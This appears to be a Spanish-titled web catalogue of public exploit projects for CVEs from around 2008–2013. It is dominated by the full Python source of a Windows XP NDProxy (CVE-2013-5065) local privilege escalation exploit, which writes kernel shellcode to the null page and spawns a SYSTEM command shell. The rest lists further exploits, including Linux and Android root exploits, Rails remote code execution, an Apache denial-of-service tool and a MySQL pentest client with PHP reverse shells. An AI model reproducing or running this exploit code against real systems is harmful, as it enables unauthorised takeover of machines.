Catálogo de exploits

Using CVE-2013-6282 to bypass Samsung kernel module authentication

# NDPROXY Local SYSTEM privilege escalation # http://www.offensive-security.com # Tested on Windows XP SP3 # http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/     # Original crash ... null pointer dereference # Access violation - code c0000005 (!!! second chance !!!) # 00000038 ??              ???   from ctypes import * from ctypes.wintypes import * import os, sys   kernel32 = windll.kernel32 ntdll = windll.ntdll   GENERIC_READ     = 0x80000000 GENERIC_WRITE    = 0x40000000 FILE_SHARE_READ  = 0x00000001 FILE_SHARE_WRITE = 0x00000002 NULL = 0x0 OPEN_EXISTING = 0x3 PROCESS_VM_WRITE            = 0x0020 PROCESS_VM_READ             = 0x0010 MEM_COMMIT                  = 0x00001000 MEM_RESERVE                 = 0x00002000 MEM_FREE                    = 0x00010000 PAGE_EXECUTE_READWRITE      = 0x00000040 PROCESS_ALL_ACCESS          = 2097151 FORMAT_MESSAGE_FROM_SYSTEM  = 0x00001000 baseadd = c_int(0x00000001) MEMRES = (0x1000 | 0x2000) MEM_DECOMMIT = 0x4000 PAGEEXE = 0x00000040 null_size = c_int(0x1000) STATUS_SUCCESS = 0   def log(msg):     print msg   def getLastError():     """[-] Format GetLastError"""     buf = create_string_buffer(2048)     if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,             kernel32.GetLastError(), 0,             buf, sizeof(buf), NULL):         log(buf.value)     else:         log("[-] Unknown Error")   print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day" print "[*] Vulnerability found in the wild" print "[*] Coded by Offensive Security"                 tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24) InBuf = c_char_p(tmp)   dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE) if dwStatus != STATUS_SUCCESS:     print "[+] Something went wrong while allocating the null paged memory: %s" % dwStatus     getLastError() written = c_ulong() sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3" sc = "\x90"*0x38 + "\x3c\x00\x00\x00" + "\x90"*4 + sh + "\xcc"*(0x400-0x3c-4-len(sh)) alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000001, sc, 0x400, byref(written)) if alloc == 0:     print "[+] Something went wrong while writing our junk to the null paged memory: %s" % alloc     getLastError()   dwRetBytes = DWORD(0) DEVICE_NAME   = "\\\\.\\NDProxy" hdev = kernel32.CreateFileA(DEVICE_NAME, 0, 0, None, OPEN_EXISTING , 0, None) if hdev == -1:     print "[-] Couldn't open the device... :("     sys.exit() kernel32.DeviceIoControl(hdev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, byref(dwRetBytes), 0) kernel32.CloseHandle(hdev) print "[+] Spawning SYSTEM Shell..." os.system("start /d \"C:\\windows\\system32\" cmd.exe")

CVE-2013-6282 exploit

CVE-2013-6282 exploit

Debian OpenSSL Predictable PRNG (CVE-2008-0166)

Meatballs1/cve-2013-1300

Do you own security hotfix with Deviare hooking

CVE-2013-2596 exploit for android

tarunyadav/fix-cve-2013-2094

CVE-2013-2094 Linux 2.6.32/2.6.37 - 3.8.10 PERF_EVENTS local root x86/x86_64

CVE-2011-1485 - Published: 2011-04-01 - PolicyKit:

CVE-2013-2597 exploit

CVE-2013-2094 exploit for android

Novell ZENworks Mobile Management - LFI RCE

For the analysis of CVE-2013-2028

original cve-2013-2094 exploit and a rewritten version for educational purposes

feliam/CVE-2013-2730

feliam/CVE-2013-2729

This is used to scan for CVE-2012-2122 vulnerable servers.

Discover uPNP devices vulnerable to CVE-2013-0229 / CVE-2013-0230 / CVE-2012-5958 / CVE-2012-5959

Discover uPNP devices vulnerable to CVE-2013-0229 / CVE-2013-0230 / CVE-2012-5958 / CVE-2012-5959

MySQL-Fu is a Ruby based MySQL Client Script I wrote. It does most of the stuff a normal MySQL client might do: SQL Shell, Update/Delete/Drop Database/Table, Add/Delete Users, Dump Database(s)/Table w/ option for gzip...... Plus a few extra options to make life a little easier for pentests. Includes Several builtin PHP Command Shell options as well as Pentestmonkey's PHP Reverse Shell, in addition to multiple options for file writing and reading (all files read logged locally for offline analysis later), also includes Ruby port of Kingcope's CVE-2012-5613 Linux MySQL Privilege Escalation Exploit.

heroku/heroku-CVE-2013-0333

Bootstrapped Rails 3.2.10 to test the remote code exploit CVE-2013-0156

crack repo from jnunemaker but with version 0.1.8 and rails CVE-2013-0156 vulnerability fixed

Inspect all of your heroku apps to see if they are running a vulnerable version of Rails

Silly Rails App to demonstrate vuln CVE-2013-0156

Mempodipper, a linux local root exploit.

Python Apache Killer (Range Header DoS CVE-2011-3192)

http://www.oracle.com/technetwork/topics/security/alert-cve-2010-4476-305811.html